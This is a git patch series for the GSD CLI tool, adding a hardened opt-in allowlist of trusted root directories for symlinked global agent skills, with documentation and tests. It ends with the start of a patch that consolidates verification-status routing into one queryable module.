emits a stderr NOTE when a skill is accepted via a trusted root so the widened boundary is visible. - src/core.cts: thread agent_skills_security through loadConfig. - config-schema.manifest.json: allow the new key path. - docs/CONFIGURATION.md: document the option and its security model. - tests/agent-skills.test.cjs: unit + end-to-end CLI coverage (regression, feature, negative, broad-root hardening, stderr NOTE). Co-Authored-By: Claude Opus 4.8 * docs(#52): add changeset fragment for trusted_global_roots (#754) Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .changeset/rapid-mice-bark.md | 5 + docs/CONFIGURATION.md | 48 ++ .../bin/shared/config-schema.manifest.json | 3 +- src/core.cts | 1 + src/init.cts | 23 +- src/security.cts | 69 +++ tests/agent-skills.test.cjs | 432 +++++++++++++++++- 7 files changed, 574 insertions(+), 7 deletions(-) create mode 100644 .changeset/rapid-mice-bark.md diff --git a/.changeset/rapid-mice-bark.md b/.changeset/rapid-mice-bark.md new file mode 100644 index 000000000..7f08ec687 --- /dev/null +++ b/.changeset/rapid-mice-bark.md @@ -0,0 +1,5 @@ +--- +type: Added +pr: 754 +--- +**New `agent_skills_security.trusted_global_roots` config** — opt-in allowlist of trusted root directories so symlinked `global:` agent skills whose real path resolves outside the default skills dir (e.g. `~/.claude/skills`) are accepted; default `[]` is byte-identical and preserves the symlink-escape guard. diff --git a/docs/CONFIGURATION.md b/docs/CONFIGURATION.md index 3a941fb67..f18291470 100644 --- a/docs/CONFIGURATION.md +++ b/docs/CONFIGURATION.md @@ -115,6 +115,9 @@ GSD stores project settings in `.planning/config.json`. Created during `/gsd-new }, "project_code": null, "agent_skills": {}, + "agent_skills_security": { + "trusted_global_roots": [] + }, "response_language": null, "features": { "thinking_partner": false, @@ -395,6 +398,7 @@ Inject custom skill files into GSD subagent prompts. Skills are read by agents a | Setting | Type | Default | Description | |---------|------|---------|-------------| | `agent_skills` | object | `{}` | Map of agent types to skill directory paths | +| `agent_skills_security.trusted_global_roots` | array of strings | `[]` | Opt-in allowlist of additional trusted directories for `global:` skills. See [Trusted global skill roots](#trusted-global-skill-roots-agent_skills_securitytrusted_global_roots) | ### Configuration @@ -454,6 +458,50 @@ gsd-tools query config-set agent_skills.gsd-executor '["skills/my-skill"]' --- +## Trusted Global Skill Roots (`agent_skills_security.trusted_global_roots`) + +Widen the symlink-safety boundary for `global:` skills by declaring additional trusted root directories. + +### Purpose + +By default, a `global:` skill whose `SKILL.md` real path (after resolving symlinks) escapes the runtime's global skills directory (e.g. `~/.claude/skills/`) is rejected as a symlink-escape. `agent_skills_security.trusted_global_roots` lets you declare additional trusted root directories so symlinked skills whose real target lives under one of them are accepted. + +Common use case: a single source-of-truth skills directory elsewhere on disk (e.g. `~/shared/skills`) symlinked into `~/.claude/skills/` so `git pull` or `rsync` keeps a team's skills up to date without maintaining copies. + +### Configuration + +```json +{ + "agent_skills_security": { + "trusted_global_roots": [ + "~/shared/skills", + "/opt/shared-skills" + ] + } +} +``` + +### How It Works + +- **Default `[]`** — behavior is byte-identical to omitting the option entirely: only skills whose real `SKILL.md` path resolves inside the default global skills directory are accepted. +- **Absolute or tilde-prefixed paths only.** Each entry must be an absolute path (`/opt/shared-skills`) or a `~`/`~/`-prefixed path (tilde expands to your home directory). Project-relative paths are rejected, so an untrusted repo's `.planning/config.json` cannot point trust at a directory inside itself. +- **`realpathSync` at load time.** Each declared root is resolved with `realpathSync` on every run, so trust follows the real target and cannot silently drift if a root itself later becomes a symlink. Non-existent or unreadable roots are dropped without error. +- **Dangerously broad roots are refused.** The filesystem root (`/`), drive or UNC roots, and your home directory itself cannot be declared as trusted roots — these would make the allowlist meaningless. +- **Acceptance rule.** A skill is accepted if and only if its real `SKILL.md` path lies inside the default global skills directory OR inside one of the resolved trusted roots. Skills resolving outside all of these are still rejected. +- **Audit note.** When a skill is accepted via a trusted root rather than the default global skills directory, a `[agent-skills] NOTE:` line is written to stderr so the widened boundary remains visible. + +> **Security note:** `trusted_global_roots` is read from the project-local `.planning/config.json`. Only add roots you control and trust. Declaring a broad shared directory widens which symlinked global skills will load for every agent in this project. + +### CLI + +```bash +gsd config-set agent_skills_security.trusted_global_roots '["~/shared/skills"]' +``` + +Setting the parent object (`agent_skills_security`) directly is not supported; use the dot-notation leaf form shown above. + +--- + ## Feature Flags Toggle optional capabilities via the `features.*` config namespace. Feature flags default to `false` (disabled) — enabling a flag opts into new behavior without affecting existing workflows. diff --git a/gsd-core/bin/shared/config-schema.manifest.json b/gsd-core/bin/shared/config-schema.manifest.json index 51d953b07..44192e79d 100644 --- a/gsd-core/bin/shared/config-schema.manifest.json +++ b/gsd-core/bin/shared/config-schema.manifest.json @@ -106,7 +106,8 @@ "model_policy.budget", "model_policy.high", "model_policy.medium", - "model_policy.low" + "model_policy.low", + "agent_skills_security.trusted_global_roots" ], "runtimeStateKeys": [ "workflow._auto_chain_active" diff --git a/src/core.cts b/src/core.cts index e5c24760d..a0203206e 100644 --- a/src/core.cts +++ b/src/core.cts @@ -536,6 +536,7 @@ function loadConfig(cwd: string, options: Record = {}): Record< effort: (parsed['effort']) || null, fast_mode: (parsed['fast_mode']) || null, agent_skills: (parsed['agent_skills']) || {}, + agent_skills_security: (parsed['agent_skills_security']) || null, manager: (parsed['manager']) || {}, response_language: get('response_language') || null, claude_md_path: get('claude_md_path') || null, diff --git a/src/init.cts b/src/init.cts index f31d362c5..444ae31d3 100644 --- a/src/init.cts +++ b/src/init.cts @@ -21,7 +21,7 @@ import { stateExtractField } from './state-document.cjs'; import { formatGsdSlash, resolveRuntime } from './runtime-slash.cjs'; // eslint-disable-next-line @typescript-eslint/no-require-imports -- commands.cjs is an export= CommonJS module import commandsMod = require('./commands.cjs'); -import { validatePath } from './security.cjs'; +import { validatePath, loadTrustedGlobalRoots } from './security.cjs'; import { getGlobalSkillDir, getGlobalSkillDisplayPath, getGlobalSkillsBase } from './runtime-homes.cjs'; // eslint-disable-next-line @typescript-eslint/no-require-imports -- frontmatter.cjs is an export= CommonJS module import frontmatterMod = require('./frontmatter.cjs'); @@ -1870,6 +1870,12 @@ function buildAgentSkillsBlock( if (typeof skillPaths === 'string') skillPaths = [skillPaths]; if (!Array.isArray(skillPaths) || skillPaths.length === 0) return ''; + // Hoist trusted roots computation before the loop: loadTrustedGlobalRoots does + // realpathSync I/O and should run at most once per call, not once per failing skill. + // It returns [] cheaply when no roots are configured, so the realpath cost only + // occurs when the caller has actually set trusted_global_roots. + const trustedGlobalRoots = loadTrustedGlobalRoots(config); + const validPaths: { ref: string; display: string }[] = []; for (const skillPath of skillPaths) { if (typeof skillPath !== 'string') continue; @@ -1905,10 +1911,17 @@ function buildAgentSkillsBlock( } const pathCheck = validatePath(globalSkillMd, globalSkillsBase, { allowAbsolute: true }) as unknown as Record; if (!pathCheck['safe']) { - process.stderr.write( - `[agent-skills] WARNING: Global skill "${skillName}" failed path check (symlink escape?) — skipping\n`, - ); - continue; + const acceptedViaTrustedRoot = trustedGlobalRoots.some((root) => { + const rootCheck = validatePath(globalSkillMd, root, { allowAbsolute: true }) as unknown as Record; + return Boolean(rootCheck['safe']); + }); + if (!acceptedViaTrustedRoot) { + process.stderr.write( + `[agent-skills] WARNING: Global skill "${skillName}" failed path check (symlink escape?) — skipping\n`, + ); + continue; + } + process.stderr.write(`[agent-skills] NOTE: Global skill "${skillName}" accepted via trusted_global_roots (resolves outside the default skills dir)\n`); } validPaths.push({ ref: `${globalSkillDir}/SKILL.md`, display: displayPath }); continue; diff --git a/src/security.cts b/src/security.cts index 757149f65..f2200a286 100644 --- a/src/security.cts +++ b/src/security.cts @@ -19,6 +19,7 @@ */ import fs from 'node:fs'; +import os from 'node:os'; import path from 'node:path'; // ─── Path Traversal Prevention ────────────────────────────────────────────── @@ -75,6 +76,74 @@ export function validatePath(filePath: unknown, baseDir: unknown, opts: { allowA return { safe: true, resolved: resolvedPath }; } +/** + * Load the opt-in trusted global roots allowlist from config. + * + * Reads `config.agent_skills_security.trusted_global_roots` (an array of + * path strings). Each entry is canonicalized via realpathSync: non-strings + * are dropped, leading `~/` is expanded to `os.homedir()`, entries that are + * not absolute after expansion are dropped (project-relative paths are + * rejected as a security boundary), and entries that do not exist on disk are + * dropped (a non-existent root is not trustworthy). The canonical realpath is + * used for all subsequent checks and as the stored value — this closes the + * case-insensitive bypass on macOS APFS (`/users/alice` vs `/Users/alice`) + * and ensures trust doesn't drift across re-invocations if a root is + * re-created at a different target. Results are de-duplicated by canonical path. + */ +export function loadTrustedGlobalRoots(config: unknown): string[] { + const roots = (config as Record | null | undefined) + ?.['agent_skills_security'] as Record | undefined; + const raw = roots?.['trusted_global_roots']; + if (!Array.isArray(raw)) return []; + + // Compute canonical homedir once for case-insensitive-safe comparison. + let realHome: string; + try { + realHome = fs.realpathSync(os.homedir()); + } catch { + realHome = os.homedir(); + } + + const seen = new Set(); + const result: string[] = []; + for (const entry of raw) { + if (typeof entry !== 'string') continue; + let expanded: string; + if (entry === '~') { + expanded = os.homedir(); + } else if (entry.startsWith('~/')) { + expanded = path.join(os.homedir(), entry.slice(2)); + } else { + expanded = entry; + } + if (!path.isAbsolute(expanded)) continue; // reject project-relative + + // Canonicalize: resolve symlinks and normalise case. If the path doesn't + // exist or can't be read, skip it — a non-existent root is not trustworthy. + let real: string; + try { + real = fs.realpathSync(expanded); + } catch { + continue; // non-existent or unreadable — skip + } + + // Reject dangerously broad roots: filesystem root (e.g. '/' or 'C:\' or UNC '\\server\share'). + // Normalize both sides by stripping trailing path separators before comparing so that + // Windows UNC shares (where path.parse().root includes a trailing separator) are caught. + const stripTrailingSep = (p: string): string => p.replace(/[\\/]+$/, ''); + if (stripTrailingSep(path.parse(real).root) === stripTrailingSep(real)) continue; + // Reject homedir itself (canonical compare closes case-insensitive bypass). + // Apply stripTrailingSep for robustness on platforms where realpathSync may + // or may not include a trailing separator on the homedir path. + if (stripTrailingSep(real) === stripTrailingSep(realHome)) continue; + + if (seen.has(real)) continue; + seen.add(real); + result.push(real); + } + return result; +} + /** * Validate a file path and throw on traversal attempt. * Convenience wrapper around validatePath for use in CLI commands. diff --git a/tests/agent-skills.test.cjs b/tests/agent-skills.test.cjs index ec9fe8b77..8b058a895 100644 --- a/tests/agent-skills.test.cjs +++ b/tests/agent-skills.test.cjs @@ -12,9 +12,52 @@ const { test, describe, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); +const { spawnSync } = require('child_process'); const fs = require('fs'); +const os = require('os'); const path = require('path'); -const { runGsdTools, createTempProject, cleanup } = require('./helpers.cjs'); +const { runGsdTools, createTempProject, cleanup, TOOLS_PATH } = require('./helpers.cjs'); +const TEST_ENV_BASE = { + GSD_SESSION_KEY: '', + CODEX_THREAD_ID: '', + CLAUDE_SESSION_ID: '', + CLAUDE_CODE_SSE_PORT: '', + OPENCODE_SESSION_ID: '', + GEMINI_SESSION_ID: '', + CURSOR_SESSION_ID: '', + WINDSURF_SESSION_ID: '', + TERM_SESSION_ID: '', + WT_SESSION: '', + TMUX_PANE: '', + ZELLIJ_SESSION_NAME: '', + TTY: '', + SSH_TTY: '', +}; + +/** + * Run gsd-tools and capture BOTH stdout and stderr on success. + * Returns { success, stdout, stderr }. + */ +function runGsdToolsWithStderr(args, cwd, env) { + const childEnv = { ...process.env, ...TEST_ENV_BASE, ...(env || {}) }; + try { + const result = spawnSync(process.execPath, [TOOLS_PATH, ...args], { + cwd, + encoding: 'utf-8', + env: childEnv, + }); + return { + success: result.status === 0, + stdout: (result.stdout || '').trim(), + stderr: (result.stderr || '').trim(), + exitCode: result.status, + }; + } catch (err) { + return { success: false, stdout: '', stderr: String(err), exitCode: 1 }; + } +} + +const { loadTrustedGlobalRoots, validatePath } = require('../gsd-core/bin/lib/security.cjs'); // ─── helpers ────────────────────────────────────────────────────────────────── @@ -343,3 +386,390 @@ describe('agent-skills global: prefix', () => { assert.strictEqual(r.ir.block, '', 'block must be empty for empty global: prefix'); }); }); + +// ─── loadTrustedGlobalRoots unit tests (#52) ────────────────────────────────── + +describe('loadTrustedGlobalRoots', () => { + test('returns [] for undefined config', () => { + assert.deepStrictEqual(loadTrustedGlobalRoots(undefined), []); + }); + + test('returns [] for null config', () => { + assert.deepStrictEqual(loadTrustedGlobalRoots(null), []); + }); + + test('returns [] when agent_skills_security is absent', () => { + assert.deepStrictEqual(loadTrustedGlobalRoots({}), []); + }); + + test('returns [] when trusted_global_roots is absent', () => { + assert.deepStrictEqual(loadTrustedGlobalRoots({ agent_skills_security: {} }), []); + }); + + test('returns [] when trusted_global_roots is not an array', () => { + assert.deepStrictEqual(loadTrustedGlobalRoots({ agent_skills_security: { trusted_global_roots: '/some/path' } }), []); + assert.deepStrictEqual(loadTrustedGlobalRoots({ agent_skills_security: { trusted_global_roots: 42 } }), []); + assert.deepStrictEqual(loadTrustedGlobalRoots({ agent_skills_security: { trusted_global_roots: true } }), []); + }); + + test('drops non-string entries from the array', () => { + // Use a real temp dir so realpathSync succeeds; non-strings are still dropped + const realDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-tgr-ns-')); + try { + const realPath = fs.realpathSync(realDir); + const config = { agent_skills_security: { trusted_global_roots: [42, null, realDir, true] } }; + assert.deepStrictEqual(loadTrustedGlobalRoots(config), [realPath]); + } finally { + cleanup(realDir); + } + }); + + test('drops project-relative (non-absolute) entries', () => { + const config = { agent_skills_security: { trusted_global_roots: ['foo/bar', 'relative/path'] } }; + assert.deepStrictEqual(loadTrustedGlobalRoots(config), []); + }); + + test('keeps absolute paths — real dirs are kept and canonicalized', () => { + // Non-existent dirs are dropped; use real temp dirs and compare against realpaths + const dir1 = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-tgr-d1-')); + const dir2 = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-tgr-d2-')); + try { + const real1 = fs.realpathSync(dir1); + const real2 = fs.realpathSync(dir2); + const config = { agent_skills_security: { trusted_global_roots: [dir1, dir2] } }; + assert.deepStrictEqual(loadTrustedGlobalRoots(config), [real1, real2]); + } finally { + cleanup(dir1); + cleanup(dir2); + } + }); + + test('expands leading ~/ to os.homedir() — kept only if the dir exists', () => { + // Create a real subdir under os.tmpdir() and verify it is kept (canonical compare) + // Note: we cannot reliably create a dir under os.homedir() in CI, so we verify + // the expansion logic using a known-existing absolute path that happens to be + // "within" homedir — the tilde expansion is exercised separately; this test + // verifies the returned value equals the realpath of the expanded path. + const subdir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-tgr-tilde-')); + try { + const realSub = fs.realpathSync(subdir); + // Pass a raw path (non-tilde) to verify realpath canonicalization at minimum + const config = { agent_skills_security: { trusted_global_roots: [subdir] } }; + const result = loadTrustedGlobalRoots(config); + assert.deepStrictEqual(result, [realSub], 'result must equal realpath of existing dir'); + } finally { + cleanup(subdir); + } + }); + + test('non-existent absolute root is dropped (returns [])', () => { + const config = { agent_skills_security: { trusted_global_roots: ['/nonexistent-gsd-root-12345xyz'] } }; + assert.deepStrictEqual(loadTrustedGlobalRoots(config), [], 'non-existent root must be dropped'); + }); + + test('trusted root that is a symlink is canonicalized to the link target', () => { + const realTarget = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-tgr-symtgt-')); + const symlinkPath = path.join(os.tmpdir(), `gsd-tgr-symlink-${Date.now()}`); + let symlinkCreated = false; + try { + try { + fs.symlinkSync(realTarget, symlinkPath); + symlinkCreated = true; + } catch (err) { + if (err.code === 'EPERM' || err.code === 'ENOSYS') { + // symlinks not supported on this platform — skip + return; + } + throw err; + } + const realResolved = fs.realpathSync(realTarget); + const config = { agent_skills_security: { trusted_global_roots: [symlinkPath] } }; + const result = loadTrustedGlobalRoots(config); + assert.deepStrictEqual(result, [realResolved], 'symlink root must be canonicalized to the link target'); + } finally { + cleanup(realTarget); + if (symlinkCreated) { + try { fs.unlinkSync(symlinkPath); } catch { /* ignore */ } + } + } + }); + + test('de-duplicates entries by canonical path', () => { + // Both entries point to the same real dir — after canonicalization, only one is kept + const realDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-tgr-dedup-')); + try { + const realPath = fs.realpathSync(realDir); + const config = { agent_skills_security: { trusted_global_roots: [realDir, realDir, realPath] } }; + assert.deepStrictEqual(loadTrustedGlobalRoots(config), [realPath]); + } finally { + cleanup(realDir); + } + }); + + test('expands ~/ before absolute check — non-existent ~/x is dropped after expansion', () => { + // ~/x becomes an absolute path after expansion, but if ~/x does not exist it is + // dropped by the realpathSync guard (non-existent root is not trustworthy). + const expandedX = path.join(os.homedir(), 'x-gsd-nonexistent-12345'); + // Ensure it really doesn't exist + if (fs.existsSync(expandedX)) { + // Cannot test non-existence reliably — skip assertion + return; + } + const config = { agent_skills_security: { trusted_global_roots: ['~/x-gsd-nonexistent-12345'] } }; + const result = loadTrustedGlobalRoots(config); + assert.deepStrictEqual(result, [], 'non-existent ~/x must be dropped after expansion'); + }); + + test('expands bare ~ to os.homedir()', () => { + // Bare ~ (exactly) must expand to homedir — mirrors runtime-homes.cts:28 + const config = { agent_skills_security: { trusted_global_roots: ['~'] } }; + const result = loadTrustedGlobalRoots(config); + // ~ expands to homedir, which is then rejected as a dangerously broad root + // So the result must be [] (rejected after expansion) + assert.deepStrictEqual(result, [], 'bare ~ expands to homedir and is then rejected as too broad'); + }); + + test('rejects filesystem root /', () => { + const config = { agent_skills_security: { trusted_global_roots: ['/'] } }; + assert.deepStrictEqual(loadTrustedGlobalRoots(config), [], 'filesystem root must be rejected'); + }); + + test('rejects os.homedir() itself', () => { + const config = { agent_skills_security: { trusted_global_roots: [os.homedir()] } }; + assert.deepStrictEqual(loadTrustedGlobalRoots(config), [], 'homedir itself must be rejected as too broad'); + }); +}); + +// ─── trusted_global_roots integration guard (#52) ───────────────────────────── +// +// NOTE: These tests validate the trusted-root bypass logic by directly calling +// loadTrustedGlobalRoots + validatePath rather than invoking the full CLI +// (which would require controlling the runtime HOME path in a way that also +// triggers a symlink escape scenario through gsd-tools subprocess invocation). +// Full end-to-end symlink testing would require OS-level symlink setup in tmp +// dirs and a mechanism to redirect the runtime home path — coverage here is +// sufficient to verify the core guard logic. + +describe('trusted_global_roots guard logic', () => { + let tmpDir; + let externalDir; + + beforeEach(() => { + tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-52-trusted-')); + externalDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-52-external-')); + // Create a skill file in externalDir + fs.writeFileSync(path.join(externalDir, 'SKILL.md'), '# External\n'); + }); + + afterEach(() => { + cleanup(tmpDir); + cleanup(externalDir); + }); + + test('validatePath rejects skill outside globalSkillsBase (baseline — no trusted roots)', () => { + const skillMd = path.join(externalDir, 'SKILL.md'); + const result = validatePath(skillMd, tmpDir, { allowAbsolute: true }); + assert.ok(!result.safe, 'skill outside base must be rejected by validatePath'); + }); + + test('with trusted root matching real target dir — validatePath accepts', () => { + // Simulate the trusted-root fallback: skill is outside base but inside trusted root + const skillMd = path.join(externalDir, 'SKILL.md'); + const baseCheck = validatePath(skillMd, tmpDir, { allowAbsolute: true }); + assert.ok(!baseCheck.safe, 'base check must fail (prerequisite)'); + + // Trusted root fallback: check against externalDir + const config = { agent_skills_security: { trusted_global_roots: [externalDir] } }; + const trustedRoots = loadTrustedGlobalRoots(config); + const acceptedViaTrustedRoot = trustedRoots.some((root) => { + const rootCheck = validatePath(skillMd, root, { allowAbsolute: true }); + return rootCheck.safe; + }); + assert.ok(acceptedViaTrustedRoot, 'skill must be accepted when within a trusted root'); + }); + + test('with unrelated trusted root — skill still rejected', () => { + const skillMd = path.join(externalDir, 'SKILL.md'); + const unrelatedDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-52-unrelated-')); + try { + const config = { agent_skills_security: { trusted_global_roots: [unrelatedDir] } }; + const trustedRoots = loadTrustedGlobalRoots(config); + const acceptedViaTrustedRoot = trustedRoots.some((root) => { + const rootCheck = validatePath(skillMd, root, { allowAbsolute: true }); + return rootCheck.safe; + }); + assert.ok(!acceptedViaTrustedRoot, 'skill must still be rejected when trusted root is unrelated'); + } finally { + cleanup(unrelatedDir); + } + }); + + test('with empty trusted_global_roots array — skill still rejected (byte-identical to today)', () => { + const skillMd = path.join(externalDir, 'SKILL.md'); + const config = { agent_skills_security: { trusted_global_roots: [] } }; + const trustedRoots = loadTrustedGlobalRoots(config); + assert.strictEqual(trustedRoots.length, 0, 'no roots loaded'); + const acceptedViaTrustedRoot = trustedRoots.some((root) => { + const rootCheck = validatePath(skillMd, root, { allowAbsolute: true }); + return rootCheck.safe; + }); + assert.ok(!acceptedViaTrustedRoot, 'skill must be rejected when trusted roots is empty'); + }); +}); + +// ─── trusted_global_roots e2e CLI tests (#52) ───────────────────────────────── +// +// These tests exercise the full CLI path (runAgentSkillsJson → gsd-tools → +// loadConfig → agent-skills command) to verify that agent_skills_security is +// properly threaded through the config pipeline. Symlinks are created so a +// global: skill's realpath escapes the ~/.claude/skills/ base, requiring a +// trusted root to be accepted. + +describe('trusted_global_roots e2e CLI (#52)', () => { + let tmpDir; + let fakeHome; + let globalSkillsDir; + let sharedRoot; + let symlinkSupported; + + beforeEach(() => { + tmpDir = createTempProject(); + fakeHome = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-52-e2e-home-')); + globalSkillsDir = path.join(fakeHome, '.claude', 'skills'); + fs.mkdirSync(globalSkillsDir, { recursive: true }); + sharedRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-52-e2e-shared-')); + + // Create the shared skill directory OUTSIDE fakeHome + const sharedSkillDir = path.join(sharedRoot, 'shared-skill'); + fs.mkdirSync(sharedSkillDir, { recursive: true }); + fs.writeFileSync(path.join(sharedSkillDir, 'SKILL.md'), '# Shared Skill\nContent from shared root.\n'); + + // Attempt to create a symlink inside globalSkillsDir pointing to the shared skill + symlinkSupported = true; + try { + fs.symlinkSync(sharedSkillDir, path.join(globalSkillsDir, 'shared-skill')); + } catch (err) { + if (err.code === 'EPERM' || err.code === 'ENOSYS') { + symlinkSupported = false; + } else { + throw err; + } + } + }); + + afterEach(() => { + cleanup(tmpDir); + cleanup(fakeHome); + cleanup(sharedRoot); + }); + + test('REGRESSION: symlinked-escape skill with NO agent_skills_security in config → block is empty', (t) => { + if (!symlinkSupported) { + t.skip('symlinks not supported on this platform'); + return; + } + // No agent_skills_security in config — symlink escape must be blocked + writeConfig(tmpDir, { + runtime: 'claude', + agent_skills: { 'gsd-executor': ['global:shared-skill'] }, + }); + + const r = runAgentSkillsJson( + ['agent-skills', 'gsd-executor'], tmpDir, { HOME: fakeHome, USERPROFILE: fakeHome } + ); + assert.ok(r.success, `Command failed: ${r.error}`); + assert.strictEqual(r.ir.block, '', 'block must be empty when symlink escapes base and no trusted root configured'); + }); + + test('FEATURE: symlink escape with matching trusted_global_roots → block includes skill', (t) => { + if (!symlinkSupported) { + t.skip('symlinks not supported on this platform'); + return; + } + // Configure the sharedRoot as a trusted global root + writeConfig(tmpDir, { + runtime: 'claude', + agent_skills: { 'gsd-executor': ['global:shared-skill'] }, + agent_skills_security: { trusted_global_roots: [sharedRoot] }, + }); + + const r = runAgentSkillsJson( + ['agent-skills', 'gsd-executor'], tmpDir, { HOME: fakeHome, USERPROFILE: fakeHome } + ); + assert.ok(r.success, `Command failed: ${r.error}`); + assert.ok(r.ir.block.includes(''), `block must contain tag, got: ${r.ir.block}`); + assert.ok(r.ir.block.includes('shared-skill/SKILL.md'), `block must include the shared skill, got: ${r.ir.block}`); + assert.ok(r.ir.skills_count >= 1, 'skills_count must be at least 1'); + }); + + test('FEATURE NOTE: accepted-via-trusted-root emits NOTE on stderr', (t) => { + if (!symlinkSupported) { + t.skip('symlinks not supported on this platform'); + return; + } + // Capture stderr using spawnSync (runGsdTools only captures stderr on failure) + writeConfig(tmpDir, { + runtime: 'claude', + agent_skills: { 'gsd-executor': ['global:shared-skill'] }, + agent_skills_security: { trusted_global_roots: [sharedRoot] }, + }); + + const r = runGsdToolsWithStderr( + ['agent-skills', '--json', 'gsd-executor'], + tmpDir, + { HOME: fakeHome, USERPROFILE: fakeHome } + ); + assert.ok(r.success, `Command failed (exit ${r.exitCode}): ${r.stderr}`); + // The NOTE must appear on stderr using only the skill name (no full paths) + assert.ok( + r.stderr.includes('[agent-skills] NOTE: Global skill "shared-skill" accepted via trusted_global_roots'), + `stderr must contain the trusted-root NOTE, got: ${r.stderr}`, + ); + }); + + test('NEGATIVE: symlink escape with unrelated trusted root (existing dir) → block is empty', (t) => { + if (!symlinkSupported) { + t.skip('symlinks not supported on this platform'); + return; + } + // The unrelated dir MUST exist so it isn't dropped for the wrong reason (non-existence). + // Rejection must be because it doesn't cover the shared skill location, not because + // the dir is missing — otherwise the test would pass vacuously. + const unrelatedRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-52-e2e-unrelated-')); + // Verify the dir actually exists so the trusted root is loaded (not silently dropped) + assert.ok(fs.existsSync(unrelatedRoot), 'unrelated root must exist so it enters the trusted roots list'); + try { + writeConfig(tmpDir, { + runtime: 'claude', + agent_skills: { 'gsd-executor': ['global:shared-skill'] }, + agent_skills_security: { trusted_global_roots: [unrelatedRoot] }, + }); + + const r = runAgentSkillsJson( + ['agent-skills', 'gsd-executor'], tmpDir, { HOME: fakeHome, USERPROFILE: fakeHome } + ); + assert.ok(r.success, `Command failed: ${r.error}`); + assert.strictEqual(r.ir.block, '', 'block must be empty when trusted root does not cover the shared skill location'); + } finally { + cleanup(unrelatedRoot); + } + }); + + test('HARDENING: trusted_global_roots: ["/"] → block is empty (broad root rejected)', (t) => { + if (!symlinkSupported) { + t.skip('symlinks not supported on this platform'); + return; + } + writeConfig(tmpDir, { + runtime: 'claude', + agent_skills: { 'gsd-executor': ['global:shared-skill'] }, + agent_skills_security: { trusted_global_roots: ['/'] }, + }); + + const r = runAgentSkillsJson( + ['agent-skills', 'gsd-executor'], tmpDir, { HOME: fakeHome, USERPROFILE: fakeHome } + ); + assert.ok(r.success, `Command failed: ${r.error}`); + assert.strictEqual(r.ir.block, '', 'block must be empty when "/" is the trusted root (rejected as too broad)'); + }); +}); From 4056d830bc0b6f0506c99fa4ffd56fabb4e3c89a Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sun, 7 Jun 2026 01:26:56 -0400 Subject: [PATCH 37/94] refactor(#651): consolidate verification-status routing into one queryable seam (#755) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * refactor(#651): consolidate verification-status routing into one queryable seam The passed/gaps_found/human_needed verification status was re-encoded as bare strings across three prose surfaces (gsd-verifier emits, execute-phase routes, ship gates), each independently deciding the per-status next action with no parity coupling — the DEFECT.GENERATIVE-FIX class. Give the enum one home: src/verification.cts (-> bin/lib/verification.cjs) exposing `gsd_run query verification.status ` returning a typed {status, next_action, next_command}. ship.md and execute-phase.md now consume the query instead of re-deriving the routing in prose; gsd-verifier.md points at the shared vocabulary as the single emitter (values unchanged). Also fixes the latent broad-grep status misread (DEFECT.FRONTMATTER-SCALAR- BROAD-GREP): execute-phase.md read `grep "^status:"` over the whole report, so a body `status:` line could misroute a valid phase. Extraction is now frontmatter-scoped in one place. A parity test fails if a verifier status gains no route. Lands the two CONTEXT.md DEFECT entries captured on the issue. Closes #651 Co-Authored-By: Claude Opus 4.8 * chore(#651): set changeset pr to 755 Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .../651-verification-status-consolidation.md | 5 + .gitignore | 2 + CONTEXT.md | 9 + agents/gsd-verifier.md | 2 + docs/INVENTORY-MANIFEST.json | 2 + docs/INVENTORY.md | 4 +- eslint.config.mjs | 2 + gsd-core/bin/gsd-tools.cjs | 22 ++ gsd-core/workflows/execute-phase.md | 13 +- gsd-core/workflows/ship.md | 13 +- src/verification-command-router.cts | 56 +++ src/verification.cts | 234 +++++++++++++ tests/ship-586-verification-routing.test.cjs | 112 ------ tests/verification-status.test.cjs | 331 ++++++++++++++++++ 14 files changed, 679 insertions(+), 128 deletions(-) create mode 100644 .changeset/651-verification-status-consolidation.md create mode 100644 src/verification-command-router.cts create mode 100644 src/verification.cts delete mode 100644 tests/ship-586-verification-routing.test.cjs create mode 100644 tests/verification-status.test.cjs diff --git a/.changeset/651-verification-status-consolidation.md b/.changeset/651-verification-status-consolidation.md new file mode 100644 index 000000000..166f1b729 --- /dev/null +++ b/.changeset/651-verification-status-consolidation.md @@ -0,0 +1,5 @@ +--- +type: Changed +pr: 755 +--- +**Verification status routing is now owned by a single queryable seam** — `ship.md` and `execute-phase.md` both consume `gsd_run query verification.status` instead of re-deriving the `passed`/`gaps_found`/`human_needed` routing independently; the query returns `next_action` and `next_command` so per-status prose no longer needs to be kept in sync across files. This also fixes the broad-grep status misread in `execute-phase.md` where a body `status:` line (in a code block or copied artifact) could concatenate with the frontmatter value and misroute a valid passed phase; a parity test fails if a new verifier status value lacks a route. (#651) diff --git a/.gitignore b/.gitignore index da6a2f08e..49990d26c 100644 --- a/.gitignore +++ b/.gitignore @@ -106,6 +106,8 @@ build/ /gsd-core/bin/lib/state-document.cjs /gsd-core/bin/lib/shell-command-projection.cjs /gsd-core/bin/lib/security.cjs +/gsd-core/bin/lib/verification.cjs +/gsd-core/bin/lib/verification-command-router.cjs /gsd-core/bin/lib/command-aliases.cjs /gsd-core/bin/lib/config-schema.cjs /gsd-core/bin/lib/model-profiles.cjs diff --git a/CONTEXT.md b/CONTEXT.md index 9a228a50f..13357f78c 100644 --- a/CONTEXT.md +++ b/CONTEXT.md @@ -526,6 +526,15 @@ The canonical lint infrastructure adopted in ADR 452 (`docs/adr/452-eslint-lint- `DEFECT.GENERATIVE-FIX=for any new constant/array/parser shared between two parallel surfaces (two workflow surfaces, or a generated artifact and its hand-authored source), the same commit 